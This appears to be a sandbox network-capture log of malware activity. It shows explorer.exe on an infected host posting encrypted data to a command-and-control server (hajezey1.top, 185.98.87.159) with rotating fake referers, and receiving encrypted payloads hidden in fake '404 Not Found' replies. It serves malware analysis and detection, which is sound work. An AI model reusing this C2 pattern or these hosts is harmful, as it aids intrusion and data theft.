Oct 29, 2021 20:10:37.130780935 CEST	2213	IN	Data Raw: 56 78 a0 d2 a2 49 6f 98 2a a1 84 fb d1 cf 69 a5 e5 cd d0 82 5e a7 51 e1 4f 80 6d 7a 14 85 48 7a b3 53 aa bb a6 dc 19 71 77 48 2a c5 5c cd 79 23 a9 f5 10 db c9 79 8f 57 36 37 54 df 58 c5 4e 13 8e cf c4 0c c4 9b 4b e3 51 5c 65 77 65 38 47 d3 87 14 Data Ascii: VxIoi^QOmzHzSqwH\y#yW67TXNKQ\ewe8Gg=Bkj_(h1H]Y&'<I4:C%5M]Z\L6gg<']uBk$@HNJY]#jm?2000ov<`;oG>g67k%jK/fH
Oct 29, 2021 20:10:37.130798101 CEST	2215	IN	Data Raw: a8 06 0d e8 7f 36 ac 98 7b a6 ba 34 16 c6 7d 81 b3 8c 7e 38 23 52 17 70 1d 15 9e d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae f6 5a 93 7a 16 2f 14 d2 10 94 97 a7 54 57 be c0 ed 8e 85 63 f2 13 5b ca 46 a1 67 45 38 ae d8 46 a4 c3 68 bc Data Ascii: 6{4}~8#Rp!7naqTZz/TWc[FgE8FhsW-\SpH:.Zzz%m,xnZ!xBz9Wl#%Wrv@K,Xlhi $zZC:"D1[7TMq;/jZH2:>+BD
Oct 29, 2021 20:10:37.130816936 CEST	2216	IN	Data Raw: 00 b4 c1 a7 35 32 ad 7a 75 3e 66 02 fc 8a 3e c1 cf 32 91 b4 ef 7a 3b 20 26 0f 68 d7 af f9 c8 30 be 25 c1 13 de af 23 bf 59 70 27 9c 59 53 e8 49 12 53 7a 17 34 83 44 c7 4f 1f 0b 15 c1 59 cc 62 04 b7 39 58 21 7f 11 10 ae ac 71 08 19 dc 53 ba 06 72 Data Ascii: 52zu>f>2z; &h0%#Yp'YSISz4DOYb9X!qSrsSIu\@ 4Ea?pHu(7gtpfM}y!8YU<kFXn:W>*iEr&IBZ_2X6+!mzHt.J`Kr?.tG57oCPb
Oct 29, 2021 20:10:37.130836964 CEST	2217	IN	Data Raw: 41 88 dd fa 35 91 b0 5c f3 b8 46 6a 9a 2b b5 c5 33 2d c4 52 63 6c 66 c7 8c aa dc ae 2a 01 a4 4f 33 a7 20 db 84 71 47 11 a6 3a ff 73 fa 6e 6f 60 5e 9a 23 f0 81 1b 6c 1f 16 b6 2d 2a 60 88 a0 5d e2 3d 49 05 b9 43 14 63 72 9d 99 91 1b 4c 4c f4 fc 3e Data Ascii: A5\Fj+3-RclfO3 qG:sno`^#l-`]=ICcrLL>q;Qd12]\|Q)V&]P"][ne9t:>)yppD@m'nZjR)}y~^%8>?RV,Tq5mT$u]]L)Nqp`
Oct 29, 2021 20:10:37.184720993 CEST	2219	IN	Data Raw: 5c af 3a 7d bb 59 9d bd df 03 c6 db e8 8a cd f7 ea 01 1b 3e 42 eb 6a 14 f5 40 ac fd d3 d1 2a 57 aa 37 1a b2 ec ea 99 6d e5 cd f1 c0 a7 54 f6 a3 13 9c b0 4c 75 9d 2f 52 c2 75 48 ae 02 e8 82 8a 4c 59 75 5a c0 6c e5 cd ed 9a 75 10 77 82 95 2d 19 8a Data Ascii: \:}Y>Bj@W7mTLu/RuHLYuZluw-dA$vJBp6l1/{;,:kzip_6_}=CSt7WNC6\|l9g1K# ^L"V&"1xNwqQFx&\|:l0Fcq^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49806	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:40.539868116 CEST	7468	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cpmovtar.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: hajezey1.top
Oct 29, 2021 20:10:40.539905071 CEST	7469	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 97 66 5d 02 c9 a1 c1 64 5a cb 88 6a Data Ascii: Mw:xGcDATwmwu$f]dZj@zkX"a94@[G16X>_?GY+fK:OU1I>g%!}Cx8#(k%JSeq~vdT@)8+N$8"R
Oct 29, 2021 20:10:40.618438959 CEST	7469	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49808	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\77DC.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49807	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:40.705116987 CEST	7470	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://csbokajdc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 140 Host: hajezey1.top
Oct 29, 2021 20:10:40.705136061 CEST	7470	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 29 80 a6 10 Data Ascii: Mw:xGcDATwmwu$f]d)Rr2o:uAIGozO$R ,WJ_kjH4?vc
Oct 29, 2021 20:10:40.783237934 CEST	7472	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5c d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 56 3b 38 a6 15 e4 c6 ce a9 22 27 90 32 fb 10 df b7 b7 c8 10 46 15 b1 97 4c c3 f9 8c e2 58 e9 9c b7 3d ef ce 38 1f c1 19 39 ec a8 01 8f 44 ea 9b bf 6e c0 53 5b 76 cb c4 bd 8f 46 84 7f 9c b8 6a f7 5b 61 67 85 1a aa 50 f1 33 0d 4d 9e 1f ed 23 97 05 42 e0 c9 1c 9c 4a be 99 95 43 d2 7c 6c b8 4f 4e 7d bb ad 45 43 37 86 96 3f d8 a1 f7 94 8f c9 3b cb 53 94 6d 9b 3d 70 e0 53 08 55 42 da 49 3b b1 85 2c 03 39 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RY8\|-:+%Wt#xQP0ObyT=a'4 YW\\|;fKMXKw[Ge)29E"\|6N}oczUpJk"HBI?m\|6NI^LdU[0zU5=PoV`GZdQJVqu~dwy'$X9:-C'GkKm1`#>[qJ8-,sqK0Z"?+QzJMQAd'\#&Q#2YBA6?C/fGB%4VF>"7"h*6VPgt 4k6'NGc:HNDP8W%WbJ}Tzl9\@nGL"}b1@$@N!;KnGA_OW`kg";kz{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A59V;8"'2FLX=89DnS[vFj[agP3M#BJC\|lON}EC7?;Sm=pSUBI;,9
Oct 29, 2021 20:10:40.783294916 CEST	7473	IN	Data Raw: 1a d7 38 d6 62 4f 35 3d bc 96 b0 cc 2f f0 49 84 b8 7d 8a 8b 6e 56 22 c1 ff 2f 0c cd fd 4c f7 b1 6a 48 bb 8f 13 4a b9 84 70 d0 65 a9 08 3d 3f 00 5c 74 31 8e f4 65 f6 d2 1a 06 b2 6b b7 98 29 92 71 d0 86 d1 cc 16 4b 45 ab 42 f4 4b ca 38 29 b3 e6 06 Data Ascii: 8bO5=/I}nV"/LjHJpe=?\t1ek)qKEBK8)y}s~PG`hSH95!926jRdB<[R[^%3V9l{j Wx#g.v/hW.%_6% &<v0p>=, 3zY
Oct 29, 2021 20:10:40.783643007 CEST	7474	IN	Data Raw: 32 f9 5d c3 bc 0e 98 cd b5 da 03 d7 db 02 0c a3 fc cc fd 5e 3c 7b 37 fa 85 59 15 57 3e 8e d7 ac 1f ab 97 e1 5f 61 9a 2a 30 44 f5 da 18 ef a7 33 5a 94 3a 9f 68 fa 88 6a d4 df 95 06 83 9f b6 77 19 2e 4a ed 82 22 a7 cd 97 2c 01 67 f7 ef fa d6 e3 ea Data Ascii: 2]^<{7YW>_a*0D3Z:hjw.J",g9,fw[urg:L.e/"sf^z\S ]/n]2/g^=3@`#W0V_RsC4CbTCmSLX1xjO>,v)_dG"j}!!
Oct 29, 2021 20:10:40.783678055 CEST	7476	IN	Data Raw: c2 da 2c b7 75 d3 98 eb c1 e4 51 83 6a 10 0c f9 12 b5 e1 35 87 6d fe 69 44 80 83 be a2 f1 5f 0e fd 10 e6 e1 9e 75 7f 13 48 72 c7 ec 98 19 f2 de 3c c8 98 bf 59 a6 d5 ad bb bc f6 62 de 42 a4 87 5e f5 64 e4 b8 52 f9 89 07 a3 8c 2b cc bd 32 fb 20 af Data Ascii: ,uQj5miD_uHr<YbB^dR+2 p2rf8#cUA:v)W6HW+Eu^Zt&oY{.`U]&^%7QY.9/G~($<!=zl5GH3,;?q5WV
Oct 29, 2021 20:10:40.783713102 CEST	7477	IN	Data Raw: b1 63 13 ab 07 6e 13 c5 cf a4 11 84 63 88 18 98 42 aa ba ee c5 7b a2 11 15 84 b9 b4 65 ba 0a ce 6e b7 b9 26 45 5f ce d5 dc 2a 3d aa 0f ee 1e b0 ba 00 47 4c 45 9a ae a6 79 e5 5b a1 c4 16 d9 4b 1f 6b e1 23 07 f5 07 5f cb d1 ba 71 bc 8f 7f 93 d9 f6 Data Ascii: cncB{en&E_=GLEy[Kk#_qlh[+$XU+FSw_7eSHw#RIwT^%7et9%Y,P,qip{ZC;qJVM=rO.!1o7{ f65ma??:V;\o'2\|iK2)WpK5
Oct 29, 2021 20:10:40.783755064 CEST	7478	IN	Data Raw: 4a 66 ed b2 d9 93 8b 68 a7 ad c2 52 e0 80 94 31 ff 87 34 0c a4 be 8f d4 a2 83 94 2f f6 88 84 e1 5f 12 34 a2 6f ae f6 79 62 01 c1 9e 17 44 43 58 aa 5a 9f 49 a7 71 2c 62 a1 ac c2 10 a1 53 6a cb 2b e0 0a 80 94 05 e6 c3 2c e8 72 1e 10 a4 a2 29 e1 27 Data Ascii: JfhR14/_4oybDCXZIq,bSj+,r)'FgW.IQ/Om.V@&Gz!q@!,9d]rgcOoFUDB#Ze\{27:aka:;`tU<\|pkvvCy$*[oG
Oct 29, 2021 20:10:40.783788919 CEST	7480	IN	Data Raw: 57 7a 2b ae 7a 08 39 26 d5 d3 9a fb f2 e3 af a8 3f 15 c2 82 16 cd 1f 6c 44 7c 62 f1 92 42 43 86 41 21 a4 bb 4e de e9 8e 35 24 24 5e 1d cd f1 16 d5 2d 50 db 21 4b c8 57 36 6e 02 52 15 35 a6 ed 41 30 3b 64 ec 36 0a e3 d8 19 95 27 ee 4d b7 3b 26 15 Data Ascii: Wz+z9&?lD\|bBCA!N5$$^-P!KW6nR5A0;d6'M;&rM*$E=BWv!_K-\|HTm/b+,GD2L)r#`0wIrmrudAjSn20006Sk;A?%6Rj+PA"Jc#]]xfm
Oct 29, 2021 20:10:40.783821106 CEST	7481	IN	Data Raw: ac 8b 0d 19 92 34 47 9a f0 64 4c 74 32 46 72 04 c2 73 81 c7 10 a4 2c 8e 12 91 f9 29 de c8 e4 76 42 18 48 0c 2b f7 2e 39 25 6d b4 3e 6d 51 7f ef 27 87 e9 d0 9c 47 ff 69 68 58 d0 85 b1 44 d4 84 85 63 b5 9a e6 0e bb 5e 98 7c 8d 72 25 b9 5b cc e4 9a Data Ascii: 4GdLt2Frs,)vBH+.9%m>mQ'GihXDc^\|r%[sW_S$GV~m(;R_9n}v\PRXkz<<hbj]CHXl3Lk*Dtkz{@tQotDoLQV~r"H^dQ`w@!
Oct 29, 2021 20:10:40.783852100 CEST	7483	IN	Data Raw: a8 33 4c 59 dd 3f 36 ff f8 ba a6 0d 08 ca b6 3f 30 c4 64 3e 60 84 c4 00 22 79 7c 5d 2a 25 45 b5 33 42 48 15 45 dd da 3b 85 8d a8 19 a2 54 2f cc de d4 f7 e9 35 83 34 bd d4 df 0f 15 b1 a0 33 93 f9 48 b6 62 94 fb f1 ed 21 29 09 09 19 dc a8 4d 84 8e Data Ascii: 3LY?6?0d>`"y\|]%E3BHE;T/543Hb!)MKxu}@ Uo58j[x"dl#;Xm:)`R"8Ui,ulolH?I~]Bm]v$rq]coi[v~/J:3ON^`zOuiQb
Oct 29, 2021 20:10:40.783884048 CEST	7484	IN	Data Raw: bb 22 46 3c c0 6e 3f a6 3c 09 bb 95 15 51 b3 ce b8 a8 18 d5 ee 92 e5 a7 8c 2d 25 2a f6 fc 2b ca ca eb dc 84 aa 38 f8 4b 4e d7 a7 09 88 a6 ac ed 67 e0 3a c3 c1 1b 76 55 24 b7 b7 1a 50 f2 2a 6c a2 3d 7d 4e 8b 42 5b 52 42 e7 7e a1 5b 4c fa bc ce 3f Data Ascii: "F<n?<Q-%+8KNg:vU$Pl=}NB[RB~[L?)5l}q2Z}$]YfU:#=fpGh>7s40dv34^W,Yw"JcDM)ehw#BTqS$p^4v* cM;$%~s-Aa]t
Oct 29, 2021 20:10:40.835561037 CEST	7486	IN	Data Raw: 34 a5 c5 6c 75 52 d8 bd 7c 23 b6 cd ea b9 7d 2c 96 8c e5 2b d6 9a 44 00 36 bf bf 27 a1 eb 29 95 ae 33 ea 4f ba 15 a8 42 21 72 e7 7f b2 80 87 e4 61 57 41 c9 f3 f0 22 20 f6 d5 90 ee 6d 03 97 12 3a 13 77 aa 33 3a 1a fc 92 5a 34 10 8c 90 3f ff 59 8a Data Ascii: 4luR\|#},+D6')3OB!raWA" m:w3:Z4?Yvo6!rm<G?O6~wgI"Vg^(+; LT7Y7lgmryO(^a@S}4@Rc7m&z0w.ckn`iuL?PR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49809	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:44.645313978 CEST	8112	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://adqaqqqe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: hajezey1.top
Oct 29, 2021 20:10:44.645334959 CEST	8112	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 94 66 5d 02 c9 a1 c1 64 19 c8 84 35 Data Ascii: Mw:xGcDATwmwu$f]d5{rl1]_Gn*kyPVnrO(0Ad'!Rw`^oY]/?S7^Mz/Fdv\|8s\U Ao;`0oOgO[?{p#x{i!
Oct 29, 2021 20:10:44.731095076 CEST	8113	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49810	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:44.824063063 CEST	8114	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bjcvackirk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: hajezey1.top
Oct 29, 2021 20:10:44.824115038 CEST	8114	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 4f a3 d0 6b Data Ascii: Mw:xGcDATwmwu$f]dOkAs4)T=VFyY~KYV
Oct 29, 2021 20:10:44.902698040 CEST	8114	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49811	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:44.995501041 CEST	8115	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lylgknghko.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 302 Host: hajezey1.top
